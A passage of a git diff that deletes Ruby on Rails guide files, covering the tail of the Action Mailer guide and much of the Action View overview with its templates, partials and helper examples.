- :subject => "Welcome to My Awesome Site") do |format|
- format.html
- format.text
- end
- end
-end
-</ruby>
-
-Will put the HTML part first, and the plain text part second.
-
-h4. Sending Emails with Attachments
-
-Attachments can be added by using the +attachments+ method:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- def welcome_email(user)
- @user = user
- @url = user_url(@user)
- attachments['terms.pdf'] = File.read('/path/terms.pdf')
- mail(:to => user.email,
- :subject => "Please see the Terms and Conditions attached")
- end
-end
-</ruby>
-
-The above will send a multipart email with an attachment, properly nested with the top level being <tt>multipart/mixed</tt> and the first part being a <tt>multipart/alternative</tt> containing the plain text and HTML email messages.
-
-h3. Receiving Emails
-
-Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to:
-
-* Implement a +receive+ method in your mailer.
-
-* Configure your email server to forward emails from the address(es) you would like your app to receive to +/path/to/app/script/rails runner 'UserMailer.receive(STDIN.read)'+.
-
-Once a method called +receive+ is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer +receive+ instance method. Here's an example:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- def receive(email)
- page = Page.find_by_address(email.to.first)
- page.emails.create(
- :subject => email.subject,
- :body => email.body
- )
-
- if email.has_attachments?
- email.attachments.each do |attachment|
- page.attachments.create({
- :file => attachment,
- :description => email.subject
- })
- end
- end
- end
-end
-</ruby>
-
-h3. Using Action Mailer Helpers
-
-Action Mailer now just inherits from Abstract Controller, so you have access to the same generic helpers as you do in Action Controller.
-
-h3. Action Mailer Configuration
-
-The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
-
-|+template_root+|Determines the base from which template references will be made.|
-|+logger+|Generates information on the mailing run if available. Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and +Log4r+ loggers.|
-|+smtp_settings+|Allows detailed configuration for <tt>:smtp</tt> delivery method:<ul><li><tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li><tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li><tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.</li><li><tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.</li><li><tt>:password</tt> - If your mail server requires authentication, set the password in this setting.</li><li><tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.</li></ul>|
-|+sendmail_settings+|Allows you to override options for the <tt>:sendmail</tt> delivery method.<ul><li><tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.</li><li><tt>:arguments</tt> - The command line arguments to be passed to sendmail. Defaults to <tt>-i -t</tt>.</li></ul>|
-|+raise_delivery_errors+|Whether or not errors should be raised if the email fails to be delivered.|
-|+delivery_method+|Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, <tt>:file</tt> and <tt>:test</tt>.|
-|+perform_deliveries+|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
-|+deliveries+|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
-
-h4. Example Action Mailer Configuration
-
-An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file:
-
-<ruby>
-config.action_mailer.delivery_method = :sendmail
-# Defaults to:
-# config.action_mailer.sendmail_settings = {
-# :location => '/usr/sbin/sendmail',
-# :arguments => '-i -t'
-# }
-config.action_mailer.perform_deliveries = true
-config.action_mailer.raise_delivery_errors = true
-</ruby>
-
-h4. Action Mailer Configuration for GMail
-
-As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file:
-
-<ruby>
-config.action_mailer.delivery_method = :smtp
-config.action_mailer.smtp_settings = {
- :address => "smtp.gmail.com",
- :port => 587,
- :domain => 'baci.lindsaar.net',
- :user_name => '<username>',
- :password => '<password>',
- :authentication => 'plain',
- :enable_starttls_auto => true }
-</ruby>
-
-h3. Mailer Testing
-
-By default Action Mailer does not send emails in the test environment. They are just added to the +ActionMailer::Base.deliveries+ array.
-
-Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:
-
-<ruby>
-class UserMailerTest < ActionMailer::TestCase
- def test_welcome_email
- user = users(:some_user_in_your_fixtures)
-
- # Send the email, then test that it got queued
- email = UserMailer.welcome_email(user).deliver
- assert !ActionMailer::Base.deliveries.empty?
-
- # Test the body of the sent email contains what we expect it to
- assert_equal [user.email], email.to
- assert_equal "Welcome to My Awesome Site", email.subject
- assert_match(/<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded)
- assert_match(/Welcome to example.com, #{user.name}/, email.encoded)
- end
-end
-</ruby>
-
-In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect.
diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile
deleted file mode 100644
index 40cde6ad84..0000000000
--- a/railties/guides/source/action_view_overview.textile
+++ /dev/null
@@ -1,1497 +0,0 @@
-h2. Action View Overview
-
-In this guide you will learn:
-
-* What Action View is, and how to use it with Rails
-* How to use Action View outside of Rails
-* How best to use templates, partials, and layouts
-* What helpers are provided by Action View, and how to make your own
-* How to use localized views
-
-endprologue.
-
-h3. What is Action View?
-
-Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.
-
-Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.
-
-Note: Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend.
-
-h3. Using Action View with Rails
-
-For each controller there is an associated directory in the <tt>app/views</tt> directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.
-
-Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
-
-<shell>
-$ rails generate scaffold post
- [...]
- invoke scaffold_controller
- create app/controllers/posts_controller.rb
- invoke erb
- create app/views/posts
- create app/views/posts/index.html.erb
- create app/views/posts/edit.html.erb
- create app/views/posts/show.html.erb
- create app/views/posts/new.html.erb
- create app/views/posts/_form.html.erb
- [...]
-</shell>
-
-There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above.
-For example, the index controller action of the <tt>posts_controller.rb</tt> will use the <tt>index.html.erb</tt> view file in the <tt>app/views/posts</tt> directory.
-The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Later on this guide you can find a more detailed documentation of each one of this three components.
-
-h3. Using Action View outside of Rails
-
-Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small "Rack":http://rack.rubyforge.org/ application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
-
-Let's start by ensuring that you have the Action Pack and Rack gems installed:
-
-<shell>
-$ gem install actionpack
-$ gem install rack
-</shell>
-
-Now we'll create a simple "Hello World" application that uses the +titleize+ method provided by Active Support.
-
-*hello_world.rb:*
-
-<ruby>
-require 'rubygems'
-require 'active_support/core_ext/string/inflections'
-require 'rack'
-
-def hello_world(env)
- [200, {"Content-Type" => "text/html"}, "hello world".titleize]
-end
-
-Rack::Handler::Mongrel.run method(:hello_world), :Port => 4567
-</ruby>
-
-We can see this all come together by starting up the application and then visiting +http://localhost:4567/+
-
-<shell>
-$ ruby hello_world.rb
-</shell>
-
-TODO needs a screenshot? I have one - not sure where to put it.
-
-Notice how 'hello world' has been converted into 'Hello World' by the +titleize+ helper method.
-
-Action View can also be used with "Sinatra":http://www.sinatrarb.com/ in the same way.
-
-Let's start by ensuring that you have the Action Pack and Sinatra gems installed:
-
-<shell>
-$ gem install actionpack
-$ gem install sinatra
-</shell>
-
-Now we'll create the same "Hello World" application in Sinatra.
-
-*hello_world.rb:*
-
-<ruby>
-require 'rubygems'
-require 'action_view'
-require 'sinatra'
-
-get '/' do
- erb 'hello world'.titleize
-end
-</ruby>
-
-Then, we can run the application:
-
-<shell>
-$ ruby hello_world.rb
-</shell>
-
-Once the application is running, you can see Sinatra and Action View working together by visiting +http://localhost:4567/+
-
-TODO needs a screenshot? I have one - not sure where to put it.
-
-h3. Templates, Partials and Layouts
-
-As mentioned before, the final HTML output is a composition of three Rails elements: +Templates+, +Partials+ and +Layouts+.
-Find below a brief overview of each one of them.
-
-h4. Templates
-
-Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then a fresh instance of <tt>Builder::XmlMarkup</tt> library is used.
-
-Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have <tt>.html.erb</tt> as a file extension.
-
-h5. ERB
-
-Within an ERB template Ruby code can be included using both +<% %>+ and +<%= %>+ tags. The +<% %>+ are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the +<%= %>+ tags are used when you want output.
-
-Consider the following loop for names:
-
-<erb>
-<b>Names of all the people</b>
-<% @people.each do |person| %>
- Name: <%= person.name %><br/>
-<% end %>
-</erb>
-
-The loop is setup in regular embedding tags +<% %>+ and the name is written using the output embedding tag +<%= %>+. Note that this is not just a usage suggestion, for Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
-
-<erb>
-<%# WRONG %>
-Hi, Mr. <% puts "Frodo" %>
-</erb>
-
-To suppress leading and trailing whitespaces, you can use +<%-+ +-%>+ interchangeably with +<%+ and +%>+.
-
-h5. Builder
-
-Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
-
-Here are some basic examples:
-
-<ruby>
-xml.em("emphasized")
-xml.em { xml.b("emph & bold") }
-xml.a("A Link", "href"=>"http://rubyonrails.org")
-xml.target("name"=>"compile", "option"=>"fast")
-</ruby>
-
-will produce
-
-<html>
-<em>emphasized</em>
-<em><b>emph &amp; bold</b></em>
-<a href="http://rubyonrails.org">A link</a>
-<target option="fast" name="compile" />
-</html>
-
-Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
-
-<ruby>
-xml.div {
- xml.h1(@person.name)
- xml.p(@person.bio)
-}
-</ruby>
-
-would produce something like:
-
-<html>
-<div>
- <h1>David Heinemeier Hansson</h1>
- <p>A product of Danish Design during the Winter of '79...</p>
-</div>
-</html>
-
-A full-length RSS example actually used on Basecamp:
-
-<ruby>
-xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
- xml.channel do
- xml.title(@feed_title)
- xml.link(@url)
- xml.description "Basecamp: Recent items"
- xml.language "en-us"
- xml.ttl "40"
-
- for item in @recent_items
- xml.item do
- xml.title(item_title(item))
- xml.description(item_description(item)) if item_description(item)
- xml.pubDate(item_pubDate(item))
- xml.guid(@person.firm.account.url + @recent_items.url(item))
- xml.link(@person.firm.account.url + @recent_items.url(item))
- xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
- end
- end
- end
-end
-</ruby>
-
-h5. Template Caching
-
-By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode.
-
-h4. Partials
-
-Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
-
-h5. Naming Partials
-
-To render a partial as part of a view, you use the +render+ method within the view:
-
-<ruby>
-<%= render "menu" %>
-</ruby>
-
-This will render a file named +_menu.html.erb+ at that point within the view is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
-
-<ruby>
-<%= render "shared/menu" %>
-</ruby>
-
-That code will pull in the partial from +app/views/shared/_menu.html.erb+.
-
-h5. Using Partials to simplify Views
-
-One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
-
-<erb>
-<%= render "shared/ad_banner" %>
-
-<h1>Products</h1>
-
-<p>Here are a few of our fine products:</p>
-<% @products.each do |product| %>
- <%= render :partial => "product", :locals => { :product => product } %>
-<% end %>
-
-<%= render "shared/footer" %>
-</erb>
-
-Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
-
-h5. The :as and :object options
-
-By default <tt>ActionView::Partials::PartialRenderer</tt> has its object in a local variable with the same name as the template. So, given
-
-<erb>
-<%= render :partial => "product" %>
-</erb>
-
-within product we'll get <tt>@product</tt> in the local variable +product+, as if we had written:
-
-<erb>
-<%= render :partial => "product", :locals => { :product => @product } %>
-</erb>
-
-With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we wanted it to be +item+ instead of product+ we'd do:
-
-<erb>
-<%= render :partial => "product", :as => 'item' %>
-</erb>
-
-The <tt>:object</tt> option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere, in a different ivar or in a local variable for instance.
-
-For example, instead of:
-
-<erb>
-<%= render :partial => "product", :locals => { :product => @item } %>
-</erb>
-
-you'd do:
-
-<erb>
-<%= render :partial => "product", :object => @item %>
-</erb>
-
-The <tt>:object</tt> and <tt>:as</tt> options can be used together.
-
-h5. Rendering Collections
-
-The example of partial use describes a familiar pattern where a template needs to iterate over an array and render a sub template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial by the same name as the elements contained within.
-So the three-lined example for rendering all the products can be rewritten with a single line:
-
-<erb>
-<%= render :partial => "product", :collection => @products %>
-</erb>
-
-When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+ , and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered.
-
-You can use a shorthand syntax for rendering collections. Assuming @products is a collection of +Product+ instances, you can simply write the following to produce the same result:
-
-<erb>
-<%= render @products %>
-</erb>
-
-Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection.
-
-h5. Spacer Templates
-
-You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
-
-<erb>
-<%= render @products, :spacer_template => "product_ruler" %>
-</erb>
-
-Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
-
-h4. Layouts
-
-TODO...
-
-h3. Using Templates, Partials and Layouts in "The Rails Way"
-
-TODO...
-
-h3. Partial Layouts
-
-Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion.
-
-Let's say we're displaying a post on a page where it should be wrapped in a +div+ for display purposes. First, we'll create a new +Post+:
-
-<ruby>
-Post.create(:body => 'Partial Layouts are cool!')
-</ruby>
-
-In the +show+ template, we'll render the +post+ partial wrapped in the +box+ layout:
-
-*posts/show.html.erb*
-
-<ruby>
-<%= render :partial => 'post', :layout => 'box', :locals => {:post => @post} %>
-</ruby>
-
-The +box+ layout simply wraps the +post+ partial in a +div+:
-
-*posts/_box.html.erb*
-
-<ruby>
-<div class='box'>
- <%= yield %>
-</div>
-</ruby>
-
-The +post+ partial wraps the post's +body+ in a +div+ with the +id+ of the post using the +div_for+ helper:
-
-*posts/_post.html.erb*
-
-<ruby>
-<%= div_for(post) do %>
- <p><%= post.body %></p>
-<% end %>
-</ruby>
-
-This example would output the following:
-
-<html>
-<div class='box'>
- <div id='post_1'>
- <p>Partial Layouts are cool!</p>
- </div>
-</div>
-</html>
-
-Note that the partial layout has access to the local +post+ variable that was passed into the +render+ call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
-
-You can also render a block of code within a partial layout instead of calling +yield+. For example, if we didn't have the +post+ partial, we could do this instead:
-
-*posts/show.html.erb*
-
-<ruby>
-<% render(:layout => 'box', :locals => {:post => @post}) do %>
- <%= div_for(post) do %>
- <p><%= post.body %></p>
- <% end %>
-<% end %>
-</ruby>
-
-If we're using the same +box+ partial from above, his would produce the same output as the previous example.
-
-h3. View Paths
-
-TODO...
-
-h3. Overview of all the helpers provided by Action View
-
-The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the API Documentation, which covers all of the helpers in more detail, but this should serve as a good starting point.
-
-h4. ActiveRecordHelper
-
-The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the "Rails Form helpers guide":form_helpers.html.
-
-h5. error_message_on
-
-Returns a string containing the error message attached to the method on the object if one exists.
-
-<ruby>
-error_message_on "post", "title"
-</ruby>
-
-h5. error_messages_for
-
-Returns a string with a DIV containing all of the error messages for the objects located as instance variables by the names given.
-
-<ruby>
-error_messages_for "post"
-</ruby>
-
-h5. form
-
-Returns a form with inputs for all attributes of the specified Active Record object. For example, let's say we have a +@post+ with attributes named +title+ of type +String+ and +body+ of type +Text+. Calling +form+ would produce a form to creating a new post with inputs for those attributes.
-
-<ruby>
-form("post")
-</ruby>
-
-<html>
-<form action='/posts/create' method='post'>
- <p>
- <label for="post_title">Title</label><br />
- <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
- </p>
- <p>
- <label for="post_body">Body</label><br />
- <textarea cols="40" id="post_body" name="post[body]" rows="20"></textarea>
- </p>
- <input name="commit" type="submit" value="Create" />
-</form>
-</html>
-
-Typically, +form_for+ is used instead of +form+ because it doesn't automatically include all of the model's attributes.
-
-h5. input
-
-Returns a default input tag for the type of object returned by the method.
-
-For example, if +@post+ has an attribute +title+ mapped to a +String+ column that holds "Hello World":
-
-<ruby>
-input("post", "title") # =>
- <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
-</ruby>
-
-h4. RecordTagHelper
-
-This module provides methods for generating a container tag, such as a +<div>+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use.
-
-h5. content_tag_for
-
-Renders a container tag that relates to your Active Record Object.
-
-For example, given +@post+ is the object of +Post+ class, you can do:
-
-<ruby>
-<%= content_tag_for(:tr, @post) do %>
- <td><%= @post.title %></td>
-<% end %>
-</ruby>
-
-This will generate this HTML output:
-
-<html>
-<tr id="post_1234" class="post">
- <td>Hello World!</td>
-</tr>
-</html>
-
-You can also supply HTML attributes as an additional option hash. For example:
-
-<ruby>
-<%= content_tag_for(:tr, @post, :class => "frontpage") do %>
- <td><%= @post.title %></td>
-<% end %>
-</ruby>
-
-Will generate this HTML output:
-
-<html>
-<tr id="post_1234" class="post frontpage">
- <td>Hello World!</td>
-</tr>
-</html>
-
-You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects:
-
-<ruby>
-<%= content_tag_for(:tr, @posts) do |post| %>
- <td><%= post.title %></td>
-<% end %>
-</ruby>
-
-Will generate this HTML output:
-
-<html>
-<tr id="post_1234" class="post">
- <td>Hello World!</td>
-</tr>
-<tr id="post_1235" class="post">
- <td>Ruby on Rails Rocks!</td>
-</tr>
-</html>
-
-h5. div_for
-
-This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example:
-
-<ruby>
-<%= div_for(@post, :class => "frontpage") do %>
- <td><%= @post.title %></td>
-<% end %>
-</ruby>
-
-Will generate this HTML output:
-
-<html>
-<div id="post_1234" class="post frontpage">
- <td>Hello World!</td>
-</div>
-</html>
-
-h4. AssetTagHelper
-
-This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.
-
-By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting +ActionController::Base.asset_host+ in the application configuration, typically in +config/environments/production.rb+. For example, let's say your asset host is +assets.example.com+:
-
-<ruby>
-ActionController::Base.asset_host = "assets.example.com"
-image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
-</ruby>
-
-h5. register_javascript_expansion
-
-Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in +public/javascripts+.
-
-<ruby>
-ActionView::Helpers::AssetTagHelper.register_javascript_expansion :monkey => ["head", "body", "tail"]
-
-javascript_include_tag :monkey # =>
- <script type="text/javascript" src="/javascripts/head.js"></script>
- <script type="text/javascript" src="/javascripts/body.js"></script>
- <script type="text/javascript" src="/javascripts/tail.js"></script>
-</ruby>
-
-h5. register_stylesheet_expansion
-
-Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +public/stylesheets+.
-
-<ruby>
-ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion :monkey => ["head", "body", "tail"]
-
-stylesheet_link_tag :monkey # =>
- <link href="/stylesheets/head.css" media="screen" rel="stylesheet" type="text/css" />
- <link href="/stylesheets/body.css" media="screen" rel="stylesheet" type="text/css" />
- <link href="/stylesheets/tail.css" media="screen" rel="stylesheet" type="text/css" />
-</ruby>
-
-h5. auto_discovery_link_tag
-
-Returns a link tag that browsers and news readers can use to auto-detect an RSS or ATOM feed.
-
-<ruby>
-auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "RSS Feed"}) # =>
- <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" />
-</ruby>
-
-h5. image_path
-
-Computes the path to an image asset in the +public/images+ directory. Full paths from the document root will be passed through. Used internally by +image_tag+ to build the image path.
-
-<ruby>
-image_path("edit.png") # => /images/edit.png
-</ruby>
-
-h5. image_tag
-
-Returns an html image tag for the source. The source can be a full path or a file that exists in your +public/images+ directory.
-
-<ruby>
-image_tag("icon.png") # => <img src="/images/icon.png" alt="Icon" />
-</ruby>
-
-h5. javascript_include_tag
-
-Returns an html script tag for each of the sources provided. You can pass in the filename (+.js+ extension is optional) of JavaScript files that exist in your +public/javascripts+ directory for inclusion into the current page or you can pass the full path relative to your document root.
-
-<ruby>
-javascript_include_tag "common" # =>
- <script type="text/javascript" src="/javascripts/common.js"></script>
-</ruby>
-
-If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass +:defaults+ as the source. When using +:defaults+, if an +application.js+ file exists in your +public/javascripts+ directory, it will be included as well.
-
-<ruby>
-javascript_include_tag :defaults
-</ruby>
-
-You can also include all JavaScript files in the +public/javascripts+ directory using +:all+ as the source.
-
-<ruby>
-javascript_include_tag :all
-</ruby>
-
-You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if +ActionController::Base.perform_caching+ is set to true (which is the case by default for the Rails production environment, but not for the development environment).
-
-<ruby>
-javascript_include_tag :all, :cache => true # =>
- <script type="text/javascript" src="/javascripts/all.js"></script>
-</ruby>
-
-h5. javascript_path
-
-Computes the path to a JavaScript asset in the +public/javascripts+ directory. If the source filename has no extension, +.js+ will be appended. Full paths from the document root will be passed through. Used internally by +javascript_include_tag+ to build the script path.
-
-<ruby>
-javascript_path "common" # => /javascripts/common.js
-</ruby>
-
-h5. stylesheet_link_tag
-
-Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, +.css+ will be appended automatically.
-
-<ruby>
-stylesheet_link_tag "application" # =>
- <link href="/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
-</ruby>
-
-You can also include all styles in the stylesheet directory using :all as the source:
-
-<ruby>
-stylesheet_link_tag :all
-</ruby>
-
-You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).
-
-<ruby>
-stylesheet_link_tag :all, :cache => true
- <link href="/stylesheets/all.css" media="screen" rel="stylesheet" type="text/css" />
-</ruby>
-
-h5. stylesheet_path
-
-Computes the path to a stylesheet asset in the +public/stylesheets+ directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
-
-<ruby>
-stylesheet_path "application" # => /stylesheets/application.css
-</ruby>
-
-h4. AtomFeedHelper
-
-h5. atom_feed
-
-This helper makes building an ATOM feed easy. Here's a full usage example:
-
-*config/routes.rb*
-
-<ruby>
-resources :posts
-</ruby>
-
-*app/controllers/posts_controller.rb*
-
-<ruby>
-def index
- @posts = Post.all
-
- respond_to do |format|
- format.html
- format.atom
- end
-end
-</ruby>
-
-*app/views/posts/index.atom.builder*
-
-<ruby>
-atom_feed do |feed|
- feed.title("Posts Index")
- feed.updated((@posts.first.created_at))
-
- @posts.each do |post|
- feed.entry(post) do |entry|
- entry.title(post.title)
- entry.content(post.body, :type => 'html')
-
- entry.author do |author|
- author.name(post.author_name)
- end
- end
- end
-end
-</ruby>
-
-h4. BenchmarkHelper
-
-h5. benchmark
-
-Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
-
-<ruby>
-<% benchmark "Process data files" do %>
- <%= expensive_files_operation %>
-<% end %>
-</ruby>
-
-This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.
-
-h4. CacheHelper
-
-h5. cache
-
-A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See +ActionController::Caching::Fragments+ for more information.
-
-<ruby>
-<% cache do %>
- <%= render "shared/footer" %>
-<% end %>
-</ruby>
-
-h4. CaptureHelper
-
-h5. capture
-
-The +capture+ method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
-
-<ruby>
-<% @greeting = capture do %>
- <p>Welcome! The date and time is <%= Time.now %></p>
-<% end %>
-</ruby>
-
-The captured variable can then be used anywhere else.
-
-<ruby>
-<html>
- <head>
- <title>Welcome!</title>
- </head>
- <body>
- <%= @greeting %>
- </body>
-</html>
-</ruby>
-
-h5. content_for
-
-Calling +content_for+ stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to +yield+.
-
-For example, let's say we have a standard application layout, but also a special page that requires certain Javascript that the rest of the site doesn't need. We can use +content_for+ to include this Javascript on our special page without fattening up the rest of the site.
-
-*app/views/layouts/application.html.erb*
-
-<ruby>
-<html>
- <head>
- <title>Welcome!</title>
- <%= yield :special_script %>
- </head>
- <body>
- <p>Welcome! The date and time is <%= Time.now %></p>
- </body>
-</html>
-</ruby>
-
-*app/views/posts/special.html.erb*
-
-<ruby>
-<p>This is a special page.</p>
-
-<% content_for :special_script do %>
- <script type="text/javascript">alert('Hello!')</script>
-<% end %>
-</ruby>
-
-h4. DateHelper
-
-h5. date_select
-
-Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
-
-<ruby>
-date_select("post", "published_on")
-</ruby>
-
-h5. datetime_select
-
-Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
-
-<ruby>
-datetime_select("post", "published_on")
-</ruby>
-
-h5. distance_of_time_in_words
-
-Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set +include_seconds+ to true if you want more detailed approximations.
-
-<ruby>
-distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute
-distance_of_time_in_words(Time.now, Time.now + 15.seconds, true) # => less than 20 seconds
-</ruby>
-
-h5. select_date
-
-Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+ provided.
-
-<ruby>
-# Generates a date select that defaults to the date provided (six days after today)
-select_date(Time.today + 6.days)
-
-# Generates a date select that defaults to today (no specified date)
-select_date()
-</ruby>
-
-h5. select_datetime
-
-Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the +datetime+ provided.
-
-<ruby>
-# Generates a datetime select that defaults to the datetime provided (four days after today)
-select_datetime(Time.now + 4.days)
-
-# Generates a datetime select that defaults to today (no specified datetime)
-select_datetime()
-</ruby>
-
-h5. select_day
-
-Returns a select tag with options for each of the days 1 through 31 with the current day selected.
-
-<ruby>
-# Generates a select field for days that defaults to the day for the date provided
-select_day(Time.today + 2.days)
-
-# Generates a select field for days that defaults to the number given
-select_day(5)
-</ruby>
-
-h5. select_hour
-
-Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
-
-<ruby>
-# Generates a select field for minutes that defaults to the minutes for the time provided
-select_minute(Time.now + 6.hours)
-</ruby>
-
-h5. select_minute
-
-Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
-
-<ruby>
-# Generates a select field for minutes that defaults to the minutes for the time provided.
-select_minute(Time.now + 6.hours)
-</ruby>
-
-h5. select_month
-
-Returns a select tag with options for each of the months January through December with the current month selected.
-
-<ruby>
-# Generates a select field for months that defaults to the current month
-select_month(Date.today)
-</ruby>
-
-h5. select_second
-
-Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
-
-<ruby>
-# Generates a select field for seconds that defaults to the seconds for the time provided
-select_second(Time.now + 16.minutes)
-</ruby>
-
-h5. select_time
-
-Returns a set of html select-tags (one for hour and minute).
-
-<ruby>
-# Generates a time select that defaults to the time provided
-select_time(Time.now)
-</ruby>
-
-h5. select_year
-
-Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+.
-
-<ruby>
-# Generates a select field for five years on either side of Date.today that defaults to the current year
